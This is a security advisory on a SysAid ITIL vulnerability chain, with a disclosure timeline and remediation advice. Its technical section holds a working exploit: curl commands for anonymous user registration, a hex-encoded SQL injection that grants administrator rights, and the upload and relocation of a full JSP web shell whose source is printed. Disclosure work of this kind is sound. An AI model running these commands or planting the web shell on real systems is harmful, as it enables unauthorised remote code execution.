Skip to content

Latest commit

 

History

History
137 lines (105 loc) · 6.56 KB

ATREDIS-2022-0001.md

File metadata and controls

137 lines (105 loc) · 6.56 KB

SysAid ITIL Multiple Vulnerabilities

Vendors

  • SysAid

Affected Products

  • ITIL v20.4.74 b10

Summary

Multiple issues were found in SysAid ITIL that ultimately allow an unauthenticated attacker to gain remote code execution on the affected server. First, an attacker can register a user anonymously regardless of the registration feature flag being enabled or disabled. Once authenticated, a SQL injection vulnerability allows the new user to escalate their privileges to administrator. Once the user is an administrator, the attacker can upload a JSP file and copy it to the webroot, enabling remote code execution.

Remediation/Mitigation

If running an on-premises SysAid ITIL system, updating to the latest version will resolve the issues described below. At the time of this writing, the latest version for on-premises customers is 21.2.35.

Additional details from SysAid are available here: https://www.sysaid.com/product/on-premises/latest-release

Credit

This issue was found by Brandon Perry of Atredis Partners

References

Report Timeline

  • 2021-09-21: SysAid was notified, but the original emails and Proof-of-Concept (PoC) were blocked unbeknownst to both parties.
  • 2021-10-05: SysAid confirmed receipt of the original PoC.
  • 2021-11-17: CVE IDs were allocated and communicated to SysAid.
  • 2021-12-22: SysAid confirmed and resolved issues.
  • 2022-01-05: Atredis Partners published this advisory.

Technical Details

Create User

The /enduserreg endpoint, used to register end users anonymously, does not respect the server-side setting of whether to allow users to register. The server-side setting only hides the client-side registration form, but an attacker can still post registration data to the endpoint regardless of the server setting.

This endpoint requires that the outgoing email be configured. The user will be sent an email with the user's new password.

id=`curl $1/Login.jsp | ggrep -Eho 'accountid=(.*?)"' | cut -d '"' -f1 | cut -d '=' -f2`

curl -X POST --data "accountID="$id"&X_TOKEN_"$id"=%24tokenValue&thanksForm=thankyou.htm&X_TOKEN_"$id"_trial=%24tokenValue&email=$2&firstName=fdsa&lastName=fdsa&sms=&phone=&mobile=&Save=" $1/enduserreg

SQL Injection

The following SQL injection attack will escalate the newly created user's permissions to an administrator. Once updated, the user will need to login again.

# Issue is in the getMobileList method in SysAidUser.java
#
#
# public static String getMobileList(LoginInformationBean paramLoginInformationBean, String paramString1, String paramString2, boolean paramBoolean) {
#    StringBuffer stringBuffer = new StringBuffer();
#    int j = 100;
#    if (paramLoginInformationBean.getMobiletype() == b.d) {
#      j = b.i;
#    } else if (paramLoginInformationBean.getMobiletype() == b.f) {
#      j = b.k;
#    } else if (paramLoginInformationBean.getMobiletype() == b.g) {
#      j = b.l;
#    } else if (paramLoginInformationBean.getMobiletype() == b.e) {
#      j = b.j;
#    } 
#    Connection connection = null;
#    PreparedStatement preparedStatement = null;
#    ResultSet resultSet = null;
#    try {
#      connection = DBConnection.getInstance().getConn(paramLoginInformationBean.getAccountID());
#      String str1 = " ";
#      String str2 = "order by lower(calculated_user_name)";
#      if (paramString2 != null && paramString2.length() > 0) {
#        paramString2 = paramString2.toLowerCase();
#        str1 = " and lower(calculated_user_name) like '%" + paramString2 + "%' ";
#      } 
#
# Just above you can see paramString2 is used unsafely in the SQL query
#
curl -H "Cookie: JSESSIONID=$sess" http://192.168.1.113:8080/mobile/SelectUsers.jsp?filterText=1%27%3b%55%50%44%41%54%45%20%73%79%73%61%69%64%5f%75%73%65%72%20%53%45%54%20%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%3d%43%48%41%52%28%38%39%29%2c%6d%61%69%6e%5f%75%73%65%72%3d%43%48%41%52%28%38%39%29%20%57%48%45%52%45%20%75%73%65%72%5f%6e%61%6d%65%3d%27$2%27--

Arbitrary File Upload

The file used in the commands below for the remote shell is cmd.jsp, shown below.

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");

    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>

The UploadPsIcon.jsp page will allow an arbitrary upload and return the absolute server-side path of the file that we parse out of the response.

path=`curl -H "Referer: $1/UploadPsIcon.jsp?parent=UserSelfServiceSettings.jsp?uploadPsFile=true" -H "Cookie: JSESSIONID=$sess" -F "[email protected]" -F "X_TOKEN_$id=$token" "$1/UploadPsIcon.jsp?uploadPSFile=false&parent=UserSelfServiceSettings.jsp?uploadPsFile=true" 2>&1 | grep tempFile.value | cut -d '"' -f2`

echo $path

Arbitrary File Read/Copy

Finally, the absolute path from the previous response is taken and a server-side move is performed using the UserSelfServiceSettings.jsp page which moves the uploaded JSP file to the webroot. Once moved, the JSP shell cannot be requested with a cookie. There must be no cookies in the request.

curl -X POST  -H "Referer: $1/UserSelfServiceSettings.jsp" -H "Cookie: JSESSIONID=$sess" --data "tabID=22&resetPasswordMethod=user&numberOfInvalidAttempts=5&blockUserMinutes=30&dummycaptcha=on&captcha=Y&enableGuest=N&userEmailAsIdentifier=N&PsImageUrl=&sendRandomCodeBySms=N&numberOfSecurityQuestions=2&answerMinimumLength=3&Apply=&OK=&Cancel=&Addtokb=&subAction=&reopenNote=&pageID=1&subPageID=1&replacePage=Y&changes=0&X_TOKEN_$id=$token&showAddFailMsgPopup=&paneMessage=&paneType=&paneBtnArrayButtons=&panePreSubmitFunc=&paneSubmitParentForm=&paneCancelFunc=hideOptionPane&tempFile=$path&fileName=cmd.jsp&psImageChange=true&id=" $1/UserSelfServiceSettings.jsp?uploadPsFile=true